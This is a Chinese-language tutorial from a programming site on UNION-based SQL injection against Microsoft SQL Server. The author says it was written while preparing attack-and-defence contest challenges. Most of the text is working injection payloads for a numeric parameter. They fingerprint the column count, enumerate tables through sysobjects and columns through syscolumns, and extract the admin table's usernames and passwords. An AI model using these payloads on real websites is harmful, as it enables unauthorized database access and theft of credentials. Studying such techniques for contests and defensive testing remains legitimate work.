程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> 更多數據庫知識 >> MSSQL下用UNION和系統表配合猜表名和字段名深度注入

MSSQL下用UNION和系統表配合猜表名和字段名深度注入

編輯:更多數據庫知識

  這是這次出攻防大賽題目的時候順便做的一些注入總結,是我通過查詢系統表結構總結出來的。只要注入點有效,並且沒有過濾單引號,即使它管理員表名和字段名設置的再復雜都是可以猜出來的,而且由於是用union,效率還是很高的。還有只需要DBO權限即可。

  以一個數字型注入點為例( 暫時假設這個數字型注入點對單引號也沒有過濾)

  先用 order by 猜SQL所查詢字段數,並用Union驗證(這裡直接Select當前數據庫下的sysobjects系統表)

  ID=735 order by 8

  ID=-735 union select 1,2,3,4,5,6,7,8 from sysobjects

  或者

  ID=-735 union select 1,2,3,4,5,6,7,8 from master.dbo.sysobjects

  假如這裡屏幕上會顯示2,3,4

  順便查下版本和數據庫名

  ID=-735 union select 1,@@version,db_name(),4,5,6,7,8 from sysobjects

  //這裡假如查出當前數據庫名dbname

  接著查詢表名(從0開始增加第二個top N的數字就可以遍歷當前數據庫表名了)

  ID=-735 union select 1,2,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')),4,5,6,7,8 from sysobjects

  如果要查其他數據庫的表名還可以這樣:

  ID=-735 union select 1,2,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),4,5,6,7,8 from sysobjects

  //這裡假如查出管理員表admin

  繼續猜字段名(從0開始增加第二個top N的數字就可以遍歷admin表的字段名了)

  ID=-735 union select 1,2,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='admin'))),4,5,6,7,8 from sysobjects

  //這裡假如查到的管理員用戶名和密碼字段分別是name和psw

  剩下的就簡單啦,依次把管理員用戶名和密碼就可以Union出來了(仍然修改第二個top N來遍歷字段)

  //這裡假設使用的是前面已經猜出來的表名admin和字段name,psw

  ID=-735 union select top 1 1,name,psw,4,5,6,7,8 from admin where name not in (select top 0 name from admin)

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved